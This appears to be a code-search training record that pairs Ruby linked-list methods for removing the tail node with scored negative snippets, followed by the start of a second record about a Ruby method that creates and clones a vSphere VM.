"def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend",
"def delete(node)\n removed = nil\n if node == @head\n removed = @head\n node = @head.next\n @head = node\n elsif node == @tail\n removed = @tail\n current = @head\n until current.next == @tail\n current = current.next\n end\n @tail = current\n @tail.next = nil\n else\n current = @head\n until current.next == node\n current = current.next\n end\n link_1 = current\n until current == node\n current = current.next\n end\n link_2 = current.next\n removed = current\n link_1.next = link_2\n end\n removed\n end",
"def remove_front\n temp = self.head\n self.head = self.head.next\n return temp\n end",
"def remove(node)\n end",
"def delete(node)\n if self.head == node # if deleting the head, then the second element becomes\n # the new head\n self.head = node.next\n return node\n end\n\n prev = previous(node) # compute the previous node\n \n if prev != nil\n prev.next = node.next # the previous node now points to the element after node\n end\n \n if self.tail == node # if the node is the last, then the previous becomes the new tail\n self.tail = prev \n end\n\n node.next = nil # no longer in the list, so no next\n return node\n end"
] |
[
"0.8256307",
"0.8019957",
"0.798529",
"0.781873",
"0.7787474",
"0.77815324",
"0.7759401",
"0.7680507",
"0.7545846",
"0.7539735",
"0.74164957",
"0.7415057",
"0.7314388",
"0.7291987",
"0.7284368",
"0.72573286",
"0.72345537",
"0.7224814",
"0.7220998",
"0.7212417",
"0.7196266",
"0.7196266",
"0.7167734",
"0.716106",
"0.7142169",
"0.7102962",
"0.7100549",
"0.7088125",
"0.70871335",
"0.7073284",
"0.7068416",
"0.7067575",
"0.7066552",
"0.7065215",
"0.70588374",
"0.7058751",
"0.7058525",
"0.70493853",
"0.7014879",
"0.7013855",
"0.7011949",
"0.6991947",
"0.69899356",
"0.69789124",
"0.69726497",
"0.69640905",
"0.6959936",
"0.694765",
"0.6944354",
"0.69389766",
"0.6932302",
"0.69154483",
"0.69152594",
"0.691468",
"0.6908437",
"0.6906341",
"0.6899236",
"0.6896926",
"0.6888296",
"0.688261",
"0.6879909",
"0.68751746",
"0.68751746",
"0.6874186",
"0.68670684",
"0.686552",
"0.68642473",
"0.6861773",
"0.6852613",
"0.68509275",
"0.6845091",
"0.6840181",
"0.68381435",
"0.6837879",
"0.6828157",
"0.6827408",
"0.68262917",
"0.6820128",
"0.68118316",
"0.6798702",
"0.6798363",
"0.6785967",
"0.678589",
"0.6783236",
"0.6770389",
"0.6766527",
"0.67635167",
"0.67504257",
"0.6747082",
"0.674349",
"0.6741995",
"0.67258257",
"0.672084",
"0.6716841",
"0.6716589",
"0.67154723",
"0.6713698",
"0.67066693",
"0.66972375",
"0.66825205"
] |
0.7766206
|
6
|
Public: Removes the Node at the tail of the LinkedList. Examples
|
def remove_at_tail
return nil if self.empty?
element = self.head
previous_element = @head
until element.next.nil?
previous_element = element
element = element.next
end
previous_element.next = nil
element
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_tail\n remove_node(@tail)\n end",
"def delete_tail\r\n delete_node @tail\r\n end",
"def delete_tail\n # Create a var to hold the current_node; init with head\n current_node = @head\n\n # If the SLL is empty, there's nothing there other than an empty head; return it\n if empty?\n return @head\n elsif @head.next\n # If the head node has a next\n # AND if that next has a next\n while current_node.next.next\n # Reassign current node to point to its next until current is second to last node\n current_node = current_node.next\n end\n\n # Current is now second to last node\n # Set current's next to nil, destroying the reference to the last node, the tail\n current_node.next = nil\n else\n # If there's just one node, it's both head and tail, set its value to nil\n @head.value = nil\n end\n\n # Decrement in all cases\n @size -= 1 if size > 0\n # Return the new tail or an empty head\n current_node\n end",
"def remove_tail\n if self.head == nil # does nothing to an empty list\n return nil\n end\n \n delete (self.tail) # otherwise, deletes the tail\n end",
"def remove_tail\n if self.head == nil\n p \"There isn't anything in the linked list\"\n elsif self.head.data == self.tail.data\n self.head = nil\n self.tail = nil\n else\n temp_node = self.head\n while temp_node.next != self.tail\n temp_node = temp_node.next\n end\n self.tail = temp_node\n end\n end",
"def remove_tail\n # Loop through the nodes until gets to the last node\n temp_node = @head\n\n if temp_node == @tail\n @head = nil\n @tail = nil\n else\n while temp_node.next != @tail\n temp_node = temp_node.next\n end\n\n @tail = temp_node\n end\n end",
"def remove\n node = @head\n\n if node\n @head = node.next_node\n @tail = nil unless @head\n\n node.data\n end\n end",
"def remove_tail\n if self.tail.nil?\n return nil\n elsif self.head.next.nil?\n self.tail = nil\n else\n current_node = self.head\n until current_node.next == self.tail\n current_node = current_node.next\n end\n current_node.next = nil\n self.tail = current_node\n end\n end",
"def remove_tail\n if @head === @tail #if there is only one node\n @head = nil\n @tail = nil\n else # iterate over linked list\n current_node = @head\n # check to see if current_node is not NIL && that the next node is not the tail node\n while ((!current_node.nil?) && (current_node.next != @tail)) do\n current_node = current_node.next\n end\n @tail = current_node\n @tail.next = nil\n end\n end",
"def remove_tail\n if @tail === nil # if no tail\n return nil\n elsif @head.next === nil # if list is only head\n @tail = nil\n else # cycle thru to remove\n current_node = @head\n while current_node.next != @tail\n current_node = current_node.next\n end\n current_node.next = nil\n @tail = current_node\n end\n end",
"def remove_tail\n if @head == @tail\n @head = @tail = nil\n else\n placeholder = @head\n while placeholder.next != @tail\n placeholder = placeholder.next\n end\n placeholder.next = nil\n @tail = placeholder\n end\n end",
"def remove_tail\n return @tail if @tail.nil?\n\n old_tail = @tail\n @tail = @tail.prev_node\n\n unless @tail.nil?\n @tail.next_node = nil\n else\n @head = @tail\n end\n\n old_tail\n end",
"def remove_tail\n current_node = self.head\n if current_node == self.tail\n self.head = nil\n self.tail = nil\n else\n while current_node.next != self.tail\n current_node = current_node.next\n end\n self.tail = current_node\n current_node.next = nil\n end\n end",
"def remove_tail\n return nil if @head == nil\n\n node = @head\n popped = @tail\n if @head == @tail\n @head = nil\n @tail = nil\n else\n until node.next == @tail\n node = node.next\n end\n @tail = node\n @tail.next = nil\n end\n end",
"def remove_tail\n if self.head != nil && self.head.next != nil\n previous = nil\n current = self.head\n while current.next != nil\n previous = current\n current = current.next\n end\n previous.next = nil\n self.tail = previous\n else\n self.tail = nil\n end\n end",
"def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n current_node = @head\n while current_node.next != @tail\n current_node = current_node.next\n end\n current_node.next = nil\n @tail = current_node\n end\n end",
"def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n node = @head\n until ((node.nil?) && (node.next.eql?(@tail))) do\n node = node.next\n end\n @tail = node\n @tail.next = nil\n end\n end",
"def remove_tail\n retval = self.tail\n if self.head == self.tail\n self.head = nil\n self.tail = nil\n return retval\n end\n node = self.head\n until node.next == retval do\n node = node.next\n end\n node.next = nil\n self.tail = node\n return retval\n end",
"def remove_tail\n if @current == @tail\n @head = nil\n @tail = nil\n else\n search_until(@tail)\n @tail = @current\n end\n end",
"def remove_tail\n if self.head.next == nil\n self.head = nil\n self.tail = nil\n else\n temp = self.head\n while temp && (temp.next.next != nil)\n temp = temp.next\n end\n temp.next = nil\n self.tail = temp\n end\n end",
"def remove_tail\n if @head\n node_being_chkd = @head\n while node_being_chkd && (node_being_chkd.next != @tail)\n node_being_chkd = node_being_chkd.next\n end\n @tail = node_being_chkd\n @tail.next = nil if @tail\n else\n nil\n end\n end",
"def remove_tail\n if self.head == self.tail\n self.tail = nil\n self.head = nil\n elsif self.head != nil\n current = self.head\n while current.next != self.tail\n current = current.next\n end\n current.next = nil\n self.tail = current\n end\n end",
"def remove_tail\n\n current_node = @head\n if @head == nil #empty lit\n return nil\n end\n if @head.next == nil #list of one\n temp = @head\n @head = nil\n @tail = nil\n return temp\n end\n while(current_node.next.next) #to traverse the list\n current_node = current_node.next\n end\n temp_two = current_node.next\n current_node.next = nil\n @tail = current_node\n return temp_two\n end",
"def remove_tail\n if self.head.nil? || self.head.next.nil?\n self.tail = nil\n else\n last_node = self.head\n prev_to_last = nil\n\n until last_node.next.nil?\n prev_to_last = last_node\n last_node = last_node.next\n end\n\n prev_to_last.next = nil\n self.tail = prev_to_last\n return prev_to_last\n end\n end",
"def remove_tail\n if (@head == @tail)\n @head = nil\n @tail = nil\n elsif (@head.next == @tail)\n @head.next = nil\n @tail = @head\n else\n current = head\n while(current.next != nil && current.next != @tail)\n current = current.next\n end\n @tail = current\n end\n end",
"def remove_tail\n if @head === @tail\n @head = nil\n @tail = nil\n else\n current = @head\n while ((current != nil) && (current.next != @tail)) do\n current = current.next\n end\n @tail = current\n @tail.next = nil\n end\n end",
"def remove_tail\n current_tail = self.tail\n current_head = self.head\n if current_head != current_tail\n current = self.head\n until current.next == current_tail\n current = current.next\n end\n current.next = nil\n self.tail = current\n else\n self.tail = nil\n self.head = nil\n end\n end",
"def remove node\n return nil unless node \n # If the node we have to remove is the head of the list, we need to cover two situations\n if node == head\n # Head is the only node in the list. We set head and tail to nil and we are done\n if head.next.nil?\n self.head = self.tail = nil\n else\n # Head is not the only node in the list. \n # The node that’s next to head becomes the new head and the original head goes out of scope.\n self.head = self.head.next\n end\n else\n p = node.prev\n n = node.next\n p&.next = n\n n&.prev = p\n end\n self.length -= 1\nend",
"def erase_tail()\n aux = @tail[:next]\n aux[:prev] = nil\n @tail = aux\n end",
"def pop\n current = @head\n\n # loop to second to last element of list\n until current.next_node == tail\n current = current.next_node\n end\n\n # update tail\n @tail = current\n\n # set next_node to nil\n current.next_node = nil\n end",
"def removeHead\n if @length == 1\n @head.nextNode = nil\n @tail.val = nil\n @length = 0\n elsif @length > 1\n @head.nextNode = @head.nextNode.nextNode\n @length -= 1\n end\n end",
"def pop() #delete last element in the LL\n return nil if @head == nil #if list is empty return nil\n return @head = nil if self.list_size == 1 #list has 1 element(head) assign head to nil\n temp_node = @head #if list has more then 1 element, travres till last element\n #stop conditon is when second element from current link to nil, means that first\n #from current is last element in the list\n until temp_node.link.link == nil \n temp_node = temp_node.link\n end\n temp_node.link = nil #cat the link with last element by assigning previous link to nil\n end",
"def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n @tail = @tail.prev_node\n @size -= 1\n\n # removes the same element from @head, if it was final element/node\n if empty?\n @head = nil\n else\n # send to garbage collector\n @tail.next_node = nil\n end\n\n return data\n end",
"def remove_at_head\n\t\t\treturn nil if self.empty?\n\t\t\telement = self.head\n\t\t\t@head.next = nil || element.next\n\t\t\telement\n\t\tend",
"def pop\n last = find_tail.data\n node = find_before(last)\n node.next = nil\n end",
"def remove()\n if @head == nil\n puts \"There is nothing to remove.\"\n elsif @head.next == nil\n puts \"#{@tail.data} has been removed from the Queue.\"\n @head = nil\n @tail = nil\n else\n current = @head\n prev = current\n while current.next != nil\n prev = current\n current = current.next\n end\n puts \"#{@tail.data} has been removed from the Queue.\"\n current = prev\n current.next = nil\n @tail = current\n end\n end",
"def tail\n if head == nil\n \"Theres nothing in the list\"\n else\n tmp = head\n while tmp.next_node != nil\n tmp = tmp.next_node\n end\n tmp\n end\n end",
"def remove_last\n raise 'Cannot remove element from an empty list.' if empty?\n\n # Extract the data off of the tail node\n # Move the tail to the previous node\n data = @tail.data\n \n if size < 2\n return remove_first\n else\n each_cons(2) do |node, next_node|\n if next_node.next_node == nil\n @tail = node\n @tail.next_node = nil\n break\n end\n end\n end\n\n @size -= 1\n\n return data\n end",
"def pop\n return nil if @head.nil? || self.size == 0\n current_node = @head\n prev_node = nil\n (self.size - 1).times do\n prev_node = current_node\n current_node = current_node.next\n end\n current_node = nil\n @tail = prev_node\n end",
"def remove_at(index)\n return nil if @head.nil? || index > self.size - 1\n if index == 0\n @head = @head.next\n elsif index == self.size - 1\n self.pop(node)\n else\n current_node = @head\n prev_node = nil\n index.times do\n prev_node,current_node = current_node,current_node.next\n end\n end\n prev_node.next = current_node.next\n end",
"def pop\n node_count = self.size\n\n @tail = self.at(node_count-2) #-2 because of how size works\n @tail.next_node = nil\n end",
"def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node.prev_node == nil\n return remove_last if node.next_node == nil\n\n # tell adjacent nodes to 'skip' over this node\n node.next_node.prev_node = node.prev_node\n node.prev_node.next_node = node.next_node\n\n # store the data, so we can return it\n data = node.data\n\n # send to garbage collector\n node.data = nil\n node = node.prev_node = node.next_node = nil\n\n @size -= 1\n\n return data\n end",
"def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end",
"def remove_last\n return nil if empty?\n node = @sentinel.prev\n e = node.data\n node.prev.next = @sentinel\n @sentinel.prev = node.prev\n e\n end",
"def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\ttmp = self.head\n\t\t\twhile tmp && tmp.next != node\n\t\t\t\ttmp = tmp.next\n\t\t\tend\n\t\t\ttmp.next = node.next if tmp\n\t\tend\n\t\tself.length -= 1\n\tend",
"def remove_last\n # if the head is nil, then we just return nil\n return nil if head.nil?\n # if it's only one node, thet remove_last is equal to pop\n return pop if head.next_node.nil?\n\n # we keep searching for the next node until\n # current.next_node is nil\n prev = @head\n current = @head\n\n while !current.next_node.nil?\n prev = current\n current = current.next_node\n end\n # since current.next_node is nil, we just\n # disconnect it and update the tail reference\n prev.next_node = nil\n @tail = prev\n return current.value\n end",
"def remove node\n\t\treturn nil unless node\n\n\t\tif node == head\n\t\t\tif head.next.nil?\n\t\t\t\tself.head = self.tail = nil\n\t\t\telse\n\t\t\t\tself.head = self.head.next\n\t\t\tend\n\t\telse\n\t\t\tp = node.prev\n\t\t\tn = node.next\n\t\t\tp&.next = n\n\t\t\tn&.prev = p\n\t\tend\n\t\tself.length -= 1\n\tend",
"def pop\n return nil unless self.length > 0\n \n self.head = self.head.next\n self.tail = nil if self.length == 1\n self.length -= 1\n end",
"def remove_node(node) \n case node\n when @tail\n remove_tail\n when @head\n # this is a good candidate for a helper method!\n @head = node.next_node\n @head.prev_node = nil unless @head.nil?\n @tail = @head if @head.nil? || @head.next_node.nil?\n else\n node.prev_node.next_node = node.next_node unless node.prev_node.nil?\n node.next_node.prev_node = node.prev_node unless node.next_node.nil?\n end\n \n node\n end",
"def pop \n node = @head\n while(node.next_node != @tail)\n node = node.next_node\n end\n @tail = node\n @tail.next_node = nil \n end",
"def delete(node)\n if @tail == node # if node is tail (or also, where list of 1)\n remove_tail\n elsif @head == node # remove head\n @head = @head.next\n else # remove a middle node\n current_node = @head\n while current_node.next != node\n current_node = current_node.next\n end\n current_node.next = node.next\n end\n end",
"def tail\n node = list\n while (node != nil)\n if node.nextNode == nil\n break\n end\n node = node.nextNode\n end\n node\n end",
"def remove node\n\t\treturn nil unless node\n\t\treturn nil unless self.length > 0\n\n\t\t# head?\n\t\treturn remove_next node if (self.length == 1)\n\n\t\t# Find the precedent node to the node we \n\t\t# want to remove.\n\t\tprev = nil\n\t\tself.current = self.head\n\t\twhile ((prev = self.move_next) != node)\n\t\tend\n\t\tremove_next prev\n\tend",
"def tail\n last_node = head\n while last_node.next_node != nil\n last_node = last_node.next_node\n end\n last_node\n end",
"def pop\n each_with_index do |node, index|\n if index == self.size - 2\n @tail = node\n @tail.next_node = nil\n end\n end\n end",
"def pop\n if @head.nil?\n 'List is empty'\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.next_node.nil?\n last_node = current_node.next_node\n current_node.next_node = nil\n end\n last_node\n end",
"def pop\n if head == nil\n \"Nothing to remove\"\n else\n prev = nil\n cur = head\n while cur.next_node != nil\n prev = cur\n cur = cur.next_node\n end\n prev.next_node = nil\n end\n end",
"def reverse\n\n\t\treturn if @head.nil?\n\n\t\ttemp = self.remove_node\n\t\ttemp.next = nil\n\t\t@last = temp\n\n\t\tuntil @head.nil?\n\n\t\t\tnode = self.remove_node\n\t\t\tnode.next = temp\n\t\t\ttemp = node\n\n\t\tend\n\n\t\t@head = temp\n\n\tend",
"def pop\n last_node = self.tail\n self.at(self.size - 2).next_node = nil\n return last_node\n end",
"def delete(node)\n if node == self.head\n remove_front\n elsif node == self.tail\n remove_tail\n else\n last_node = self.head\n current_node = self.head.next\n while current_node != node\n if current_node == self.tail\n return nil\n else\n last_node = current_node\n current_node = current_node.next\n end\n end\n last_node.next = current_node.next\n end\n end",
"def tail\n if @head.nil?\n nil\n else\n current_node = @head\n current_node = current_node.next_node until current_node.next_node.nil?\n end\n end",
"def pop\n previous_node = nil\n current_node = @head\n while current_node.next_node != nil\n previous_node, current_node = current_node, current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n end",
"def remove_node(index)\n\n\t\t# Start at the head\n\t\tcounter = 0\n\t\tcurrent_node = @head\n\t\tprev_node = nil\n\n\t\t# crawl to the index position\n\t\twhile counter < index \n\t\t\tprev_node = current_node\n\t\t\tcurrent_node = current_node.next\n\t\t\tcounter += 1\n\t\tend\n\n\t\t# Now perform removal (cutting out current_node)\n\t\tnext_node = current_node.next\n\t\tcurrent_node.next = nil # clear the pointer\n\t\tprev_node.next = new_node\n\n\t\tputs \"Removed node at index #{index} with value: #{current_node.data}\"\n\tend",
"def pop\n return nil if @head.nil?\n if self.size > 1\n @tail = self.at(self.size-1) \n @tail.next = nil\n else # only 1 node\n @tail = @head = nil\n end\t\n end",
"def remove_at(index)\n removed = nil\n if index == 0\n removed = @head\n node = @head.next_node\n @head = node\n else\n target = at(index)\n unless target.nil?\n if target == @tail\n removed = pop\n else\n pre_target = at(index - 1)\n post_target = target.next_node\n pre_target.next_node = post_target\n removed = target\n end\n end\n end\n\n removed\n end",
"def remove_next prev_node\n\t\treturn nil unless self.length > 0\n\n unless prev_node\n # remove head.\n self.head = self.head.next\n else\n if prev_node.next == prev_node\n self.head = nil\n else\n old = prev_node.next\n prev_node.next = prev_node.next&.next\n if (old == self.head)\n self.head = old.next\n end\n end\n end\n\n \tself.length -= 1\n\tend",
"def pop\n current_node = @head\n until current_node.next_node.nil?\n previous_node = current_node\n current_node = current_node.next_node\n end\n previous_node.next_node = nil\n @tail = previous_node\n current_node \n end",
"def tail\n until @current_node.next == nil do\n self.next_node\n end\n end",
"def remove_last\n raise 'No such element' if @size == 0\n elt = @tail.value\n if @size == 1\n @head = nil\n @tail = nil\n else\n @tail = @tail.previous\n @tail.next.previous = nil\n @tail.next = nil\n end\n @size -= 1\n return elt\n end",
"def remove_at(index)\n if index == 0\n @head = @head.next_node\n elsif index == self.size - 1\n self.pop\n else\n previous = self.node_at(index - 1)\n current = self.node_at(index)\n previous.next_node = current.next_node\n end\n end",
"def pop\n head\n tempNode = ''\n until @current_node.next == nil do\n tempNode = @current_node\n self.next_node\n end\n tempNode.next = nil\n @tail = tempNode\n end",
"def delete_node this_node\r\n prev_node = this_node.get_prev_node\r\n next_node = this_node.get_next_node\r\n #if the deleted node is currently at the head\r\n if @head == this_node\r\n #set the head to the next node of this node\r\n @head = next_node\r\n #the head will be set to NULL if there's no node after this node (if this node is the only node in the list)\r\n end\r\n #if there's a node before this deleted node\r\n if prev_node != nil\r\n #point the next pointer of the previous node (of the deleted node) to the next node (of the deleted node)\r\n prev_node.set_next_node next_node\r\n end\r\n #if there's a node after this deleted node\r\n if next_node != nil\r\n #point the prev pointer of the next node (of the deleted node) to the previous node (of the deleted node)\r\n next_node.set_prev_node prev_node\r\n end\r\n #OPTIONAL: if the deleted node is at the tail\r\n if @tail == this_node\r\n #update the tail by pointing it to the previous node (of the deleted node)\r\n #this will return NULL if the deleted node is the only node in the list\r\n @tail = prev_node\r\n end\r\n #You can return the list so that you can chain methods\r\n return self\r\n end",
"def tail\n node_at(size - 1)\n end",
"def ll_pop()\n current = @head\n \n if @num_nodes == 0\n return nil\n elsif @num_nodes == 1\n @head = nil\n @tail = nil\n else\n second = @head.get_Next()\n @head = second\n end\n \n @num_nodes -= 1\n return current.get_Data()\n end",
"def pop\n return nil if @head.nil?\n\n to_remove = @head\n @head = @head.next\n to_remove.next = nil\n @count -= 1\n\n to_remove.value\n end",
"def remove_at(index)\n current = @head\n (index - 1).times do\n current = current.next_node\n end\n\n current.next_node = current.next_node.next_node\n end",
"def remove_at(index)\n return nil if head.nil?\n\n if index.zero?\n node = head\n @head = head.next\n return node.value\n end\n\n curr = head\n index.downto(2) do |_|\n break if curr.next.nil?\n\n curr = curr.next\n end\n node = curr.next\n node.nil? ? (return nil) : (curr.next = node.next)\n node.value\n end",
"def remove_after(node)\n value = node.next_node.value\n if node.next_node == tail\n @tail = node\n end\n node.next_node = node.next_node.next_node\n return value\n end",
"def delete(node)\n if node == @head\n remove_front()\n elsif node == @tail\n remove_tail()\n else\n search_until(node)\n @current.next = node.next\n end\n end",
"def popTail\n \n unless @tail.nil?\n \n aux = @tail\n unless @tail.prev.nil?\n \n @tail.prev.next = nil\n @tail = @tail.prev\n \n else\n \n @head = nil\n @tail = nil\n \n end\n aux\n \n end\n \n end",
"def delete(node)\n current_node = self.head.next\n last_node = self.head\n\n if self.head == node\n self.head = self.head.next \n else\n while current_node != nil # Runs through each node in the list.\n if current_node == node # Checks for node to be deleted.\n if current_node == self.tail\n self.tail = last_node\n end\n last_node.next = current_node.next\n end\n last_node = current_node\n current_node = current_node.next\n end\n end\n end",
"def tail\n curr = head\n curr = curr.next until curr.next.nil?\n curr\n end",
"def del_final\n @tail = @tail.node_ant\n if @tail != nil\n @tail.edi_sig(nil)\n else\n @head = @tail\n end\n end",
"def remove_front\n self.head = self.head.next\n if self.head == nil\n self.tail = nil\n end\n end",
"def tail\n last_node(head)\nend",
"def tail\n node = @head\n while (node.has_next)\n node = node.next_node\n end\n return node\n end",
"def pop\n\t\tcurrent_node = @head \n\t\tif current_node.next_node == nil \n\t\t\t@head = nil \n\t\tend \n\t\tuntil current_node.next_node.next_node == nil \n\t\t\tcurrent_node = current_node.next_node\n\t\tend \n\t\tcurrent_node.next_node = nil \n\tend",
"def remove_head\n\t\t\n\t\told_head = @head\n\n\t\tif old_head == nil\n\t\t\treturn nil\n\t\telse\n\t\t\t@head = old_head.next_node\n\t\tend\n\n\t\t# puts old_head.value\n\t\treturn old_head\n\n\tend",
"def remove node\n # if the node is at beginning or end of list\n # handle this separately\n return remove_first if node == @head\n return remove_last if node == @tail\n\n # store the data, so we can return it\n data = node.data\n\n # iterate through nodes, two at a time\n each_cons(2) do |search_node, next_node|\n # if our second item in a pair is the node we are looking for\n if next_node == node\n # then make the previous node's (i.e the search_node) next node equal to the FOLLOWING\n search_node.next_node = next_node.next_node\n next_node = nil\n break\n end\n end\n\n @size -= 1\n\n return data\n end",
"def delete(node)\n if (node == @head)\n @head = node.next\n elsif (node == @tail)\n self.remove_tail\n else\n current = @head\n while (current != node)\n if (current.next == node)\n current.next = node.next\n break\n end\n current = current.next\n end\n end\n end",
"def delete(node)\n if @head.eql?(node)\n remove_front\n elsif @tail == node\n remove_tail\n else\n current = @head\n until current.next.eql?(node)\n current = current.next\n end\n current.next = node.next\n end\n end",
"def pop\n current_node = @head\n prev_node = nil\n while current_node.next_node\n prev_node = current_node\n current_node = current_node.next_node\n end\n @tail = prev_node\n @tail.next_node = nil unless tail.nil?\n @size -= 1\n current_node.value\n end",
"def remove_node(value)\n new_head = remove_node_recursively(@head, value)\n if new_head\n @head = new_head\n else\n puts \"You can't empty list\"\n end\n end",
"def delete(node)\n if !@head.nil?\n if @head === node\n remove_front\n elsif @tail === node\n remove_tail\n else # iterate over the list\n current_node = @head\n while !current_node.nil? && current_node.next != node\n current_node = current_node.next #move to the next node\n end\n if current_node.next == node\n current_node.next = current_node.next.next # skip over the matched node and thereby reset current_node's next node.\n end\n end\n end\n end",
"def pop\n return nil if @head == nil\n\n node = @head\n poped = @tail\n if @head == @tail\n @head = nil\n @tail = nil\n else\n until node.next_node == @tail\n node = node.next_node\n end\n\n @tail = node\n @tail.next_node = nil\n end\n\n poped\n end",
"def delete_head\r\n delete_node @head\r\n end",
"def pop\n node = @head\n if node.data == nil\n remove = \"\"\n else\n node = node.next_node until node.next_node.next_node.nil?\n remove = node.next_node.data\n node.next_node = nil\n end\n remove\n end",
"def tail\n current = @head\n (count - 1).times do\n current = current.next_node\n end\n current\n end",
"def pop\n current_node = @head\n if current_node.next_node.nil?\n @head.nil?\n else\n while current_node.next_node\n previous = current_node\n current_node = current_node.next_node\n end\n previous.next_node = nil\n end\n end",
"def remove_at(index)\n self.at(index - 1).next_node = self.at(index + 1)\n self.at(index).next_node = nil\n end"
] |
[
"0.8417041",
"0.8306721",
"0.81403226",
"0.79717743",
"0.79101247",
"0.79088134",
"0.7886956",
"0.78828025",
"0.7868505",
"0.777203",
"0.7731927",
"0.771812",
"0.7708301",
"0.7692971",
"0.767367",
"0.76596665",
"0.76547086",
"0.765237",
"0.76325876",
"0.7617206",
"0.7588905",
"0.7538708",
"0.75267893",
"0.751673",
"0.7516168",
"0.75092024",
"0.74505526",
"0.7432029",
"0.7366267",
"0.72954965",
"0.7202025",
"0.71645004",
"0.71505827",
"0.7117981",
"0.7108531",
"0.71062374",
"0.71016765",
"0.7060631",
"0.703267",
"0.7011518",
"0.7011344",
"0.70064145",
"0.700265",
"0.700265",
"0.6996735",
"0.69931275",
"0.6977574",
"0.69604975",
"0.6958438",
"0.6940363",
"0.69308895",
"0.69236606",
"0.6916486",
"0.6912713",
"0.6894138",
"0.6871853",
"0.6840884",
"0.6829927",
"0.6825816",
"0.68231195",
"0.682275",
"0.68169254",
"0.68161905",
"0.6811994",
"0.6805024",
"0.67805356",
"0.67779803",
"0.6769657",
"0.6767863",
"0.6766045",
"0.6762559",
"0.675858",
"0.6743698",
"0.67364943",
"0.6706127",
"0.6698226",
"0.6685643",
"0.66777146",
"0.66686785",
"0.66594833",
"0.6656566",
"0.66550785",
"0.66530997",
"0.66488314",
"0.66470075",
"0.6644978",
"0.66399735",
"0.66383016",
"0.6636539",
"0.6636311",
"0.66345495",
"0.663424",
"0.66322464",
"0.662479",
"0.6619455",
"0.6617132",
"0.66099334",
"0.66098696",
"0.6602493",
"0.66022164"
] |
0.7739828
|
10
|
The main create method
|
def create(state)
save_and_validate_parameters
connect
# Using the clone class, create a machine for TK
# Find the identifier for the targethost to pass to rbvmomi
config[:targethost] = get_host(config[:targethost])
# Use the root resource pool of a specified cluster, if any
# @todo This does not allow to specify cluster AND pool yet
unless config[:cluster].nil?
cluster = get_cluster(config[:cluster])
# @todo Check for active hosts, to avoid "A specified parameter was not correct: spec.pool"
config[:resource_pool] = cluster.resource_pool
else
# Find the first resource pool on any cluster
config[:resource_pool] = get_resource_pool(config[:resource_pool])
end
# Check that the datacenter exists
datacenter_exists?(config[:datacenter])
# Check if network exists, if to be changed
network_exists?(config[:network_name]) unless config[:network_name].nil?
# Same thing needs to happen with the folder name if it has been set
unless config[:folder].nil?
config[:folder] = {
name: config[:folder],
id: get_folder(config[:folder]),
}
end
# Allow different clone types
config[:clone_type] = :linked if config[:clone_type] == "linked"
config[:clone_type] = :instant if config[:clone_type] == "instant"
# Create a hash of options that the clone requires
options = {
name: config[:vm_name],
targethost: config[:targethost],
poweron: config[:poweron],
template: config[:template],
datacenter: config[:datacenter],
folder: config[:folder],
resource_pool: config[:resource_pool],
clone_type: config[:clone_type],
network_name: config[:network_name],
}
# Create an object from which the clone operation can be called
clone_obj = Support::CloneVm.new(connection_options, options)
state[:hostname] = clone_obj.clone
state[:vm_name] = config[:vm_name]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n \n end",
"def create\n \t\n end",
"def create\n \n end",
"def create; end",
"def create; end",
"def create; end",
"def create; end",
"def create!\n end",
"def create\r\n\r\n\r\n end",
"def create\n end",
"def create\r\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create(args = {})\n end",
"def create #:doc:\n end",
"def create\n\n\tend",
"def create\n # TODO: implement create\n end",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def create\n\tend",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create \n end",
"def create \n end",
"def create\n raise NotImplementedError\n end",
"def create\n raise NotImplementedError\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create\n \n end",
"def create!\n raise NotImplementedError\n end",
"def create\n raise \"Not supported\"\n end",
"def create\n #\n end",
"def create\n #\n end",
"def create\n #\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end",
"def create\n\n end"
] |
[
"0.8586292",
"0.83243155",
"0.83032656",
"0.82115936",
"0.82115936",
"0.82115936",
"0.82115936",
"0.8153215",
"0.8136422",
"0.8133471",
"0.8095186",
"0.8002246",
"0.79238683",
"0.79238683",
